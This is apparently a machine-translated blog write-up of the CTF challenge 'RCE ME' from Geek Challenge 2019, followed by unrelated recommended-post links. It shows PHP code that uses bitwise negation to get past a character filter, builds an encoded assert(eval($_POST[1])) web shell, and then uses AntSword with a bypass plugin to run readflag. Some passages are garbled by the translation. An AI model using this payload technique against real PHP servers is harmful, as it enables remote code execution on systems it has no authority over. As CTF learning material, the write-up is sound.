当前位置:网站首页>[geek challenge 2019] rce me 1
[geek challenge 2019] rce me 1
2022-06-26 12:58:00 【"Iron body cell"】
[ Geek challenge 2019]RCE ME 1
First open the topic and get :

Discovery is code auditing
Incoming code Not greater than 40
And it can't contain a To z Upper and lower case characters and 1 To 10 The number of
We can bypass by characters that are not in this character set
You can use XOR and negation
Here I use negation , Bypass
perform phpinfo();
playload:
<?php
$c='phpinfo';
$d=urlencode(~$c);
echo $d;
?>

perform :

It is found that some row numbers are controlled :

Write a sentence :
<?php
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo '(~'.$b.')';
$c='(eval($_POST[1]))';
$d=urlencode(~$c);
echo '(~'.$d.')';
?>
ad locum , We can't use... Directly eval because eval Not at all php function So we can't call through the method of variable function .
ad locum , We use assert To construct the , But because of php Version of the problem , We can't directly construct <?php assert( P O S T [ ′ a ′ ] ) ; > , I People Need to be want transfer use e v a l Spell it Pick up by a s s e r t ( e v a l ( _POST['a']);>, We need to call eval Spliced as assert(eval( POST[′a′]);>, I People Need to be want transfer use eval Spell it Pick up by assert(eval(_POST[test]))

Connect... With an ant sword 
But the command cannot be executed , and cat flag

Use the plug-in of ant sword bypass:


Click start to enter :

utilize readflag obtain flag:

Reference blog :
边栏推荐
猜你喜欢

Redis learning - 05 node JS client operation redis and pipeline pipeline

opencv高速下载
![[esp32-c3][rt-thread] run RT-Thread BSP minimum system based on esp32c3](/img/4a/503240b332e3279047c438f1d9845e.png)
[esp32-c3][rt-thread] run RT-Thread BSP minimum system based on esp32c3

Echart堆叠柱状图:色块之间添加白色间距效果设置
Adobe Acrobat阻止30款安全软件查看PDF文件 或存在安全风险
![[solved] laravel completes the scheduled job task (delayed distribution task) [execute a user-defined task at a specified time]](/img/13/c2c63333a9e5ac08b339449ea17654.jpg)
[solved] laravel completes the scheduled job task (delayed distribution task) [execute a user-defined task at a specified time]

文件远程同步、备份神器rsync

NoSQL mongodb - 02 mongodb server installation, mongodb shell, basic concepts and visualization tools

【网络是怎么连接的】第二章(上): 建立连接,传输数据,断开连接

goto语句实现关机小程序
随机推荐
手把手带你学会Odoo OWL组件开发(7):OWL项目实战使用
Learning Processing Zoog
【网络是怎么连接的】第二章(中):一个网络包的发出
Redis learning - 03 transaction
7-3 最低通行费
New routing file in laravel framework
Why is password salt called "salt"? [Close] - why is a password salt called a "salt"? [closed]
深入解析 MySQL binlog
NoSQL mongodb - 02 mongodb server installation, mongodb shell, basic concepts and visualization tools
详细实操分享,下班刷了两小时的搞笑视频,一个月收益7000多
goto语句实现关机小程序
关于NaN的一些总结
Examples of how laravel uses with preload (eager to load) and nested query
PHP generate order number
软件测试测试常见分类有哪些?
sqlalchemy event listen Automatic generate CRUD excel
A must for programmers, an artifact utools that can improve your work efficiency n times
7-2 大盗阿福
第十章 设置结构化日志记录(二)
BigInt:处理大数字(任意长度的整数)